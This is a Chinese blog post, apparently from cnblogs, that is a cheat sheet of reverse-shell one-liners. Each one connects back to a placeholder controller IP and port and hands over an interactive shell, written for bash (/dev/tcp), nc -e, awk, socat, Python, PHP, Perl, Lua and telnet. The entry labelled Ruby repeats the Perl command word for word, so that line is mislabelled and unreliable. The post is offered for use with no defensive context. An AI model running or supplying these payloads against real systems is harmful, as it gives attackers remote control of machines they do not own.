首页 > 系统相关 >反弹 shell 命令

反弹 shell 命令

时间:2023-03-26 20:46:24浏览次数:33  
标签:bin 控制 shell socket IP 监听 命令 反弹 Port

bash

bash -i >& /dev/tcp/[控制端IP]/[控制端监听Port] 0>&1
exec /bin/sh 0</dev/tcp/[控制端IP]/[控制端监听Port] 1>&0 2>&0
exec 5<>/dev/tcp/[控制端IP]/[控制端监听Port];cat <&5 | while read line; do $line 2>&5 >&5;done

 nc

nc -e /bin/bash [控制端IP] [控制端监听Port]

awk

awk 'BEGIN{s="/inet/tcp/0/[控制端IP]/[控制端监听Port]";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

socat

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:[控制端IP]:[控制端监听Port]

Python

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('[控制端IP]',[控制端监听Port]));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

PHP

php -r '$sock=fsockopen("[控制端IP]",[控制端监听Port]);exec("/bin/sh -i <&3 >&3 2>&3");'

Perl

perl -e 'use Socket;$i="[控制端IP]";$p=[控制端监听Port];socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby

perl -e 'use Socket;$i="[控制端IP]";$p=[控制端监听Port];socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('[控制端IP]','[控制端监听Port]');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Telnet

telnet [控制端IP] [控制端监听Port1] | /bin/bash | telnet [控制端IP] [控制端监听Port2]  # 在攻击主机上分别监听 Port1 和 Port2 ,执行反弹 shell 命令后,在 Port1 终端输入命令,Port2 查看命令执行后的结果

 

标签:bin,控制,shell,socket,IP,监听,命令,反弹,Port
From: https://www.cnblogs.com/M0x1NG/p/17259463.html

相关文章

  • 实验3 简单shell的设计和实现
    Unix实验报告实验:实验3简单shell的设计和实现专业:计算机科学与技术班级:1班姓名:姚怀聿学号:229202022046322022年11月5日......
  • PostgreSQL+PostGIS扩展 ogr2ogr命令导入gdb地图数据
    实现将arcgis支持的.gdb中的数据和qgis支持的.gpkg中的数据导入到Postgres数据库中第一步:安装PostgreSQL安装好后自带pgAdmin管理工具相当于是一个图形管理工具第二步:......
  • Vmware UEFI装Windows8 Image type X64 is not support by this IA32 shell
      挂载ISO后,跟着启动虚拟机,会见到显示"unsuccessfulEFInetwork"  输入bootiaX86.EFI;回车 "ImagetypeIA32isnotsupportedbythisX64shell"或者:......
  • systemd 的 journalctl 工具及其各种命令的基础知识介绍
    导读本指南介绍了systemd的journalctl工具及其各种命令的基础知识。你可以使用这些命令对 Linux 中的桌面和服务器日志进行故障诊断。以下是如何使用journalctl......
  • Influx CLI 常用命令
    influxconfigs[default]url="http://localhost:8086"token="yxhyIIkHRyQMUBKHpMMnOBd-d6DdEr-LLUgZQd0-iNJV3xB3C44AsKjrxCKh084LS2bpl6Yfcyo1mM0BSh0V8A=="......
  • Windows的Dos命令学习
    DOS命令学习一、打开cmd方式1、开始+系统+命令提示符2、win+R+输入cmd打开控制台(推荐使用)3、在任意文件夹下,按住shift键+鼠标右键点击,在此处打开命令行窗口4、在资源......
  • 前端常用的终端命令
    终端主要的目的是可以让我们在文件系统中进行四处浏览和打开/运行某些东西,只是在windows上我们之前都是用GUI界面进行操作的,现在是在终端中使用shell命令进行操作而......
  • 如何在 Linux 中不输入密码运行 sudo 命令
    导读假设你在只有自己使用的计算机上运行 Linux 系统,比如在笔记本电脑上,在每次调用sudo时需要输入密码,长期下来就会觉得很乏味。因此,在本指南中,我们将描述如何配置s......
  • 用find命令巧查目录下文件的个数
    导读在本指南中,我们将介绍如何在 Linux 系统上显示当前工作目录或任何目录及其子目录中的文件数量,以及wc 命令,它会打印每个文件或来自标准输入的换行符、单词和字......
  • 学习Linux命令的正确姿势
    大家好,我是良许。大家应该注意到了,最近我的公众号文章末尾都挂着自己录制的《Linux命令从小白到大神》课程。这个课程我从开始录制到制作完成,足足花了一个半月。如果加上......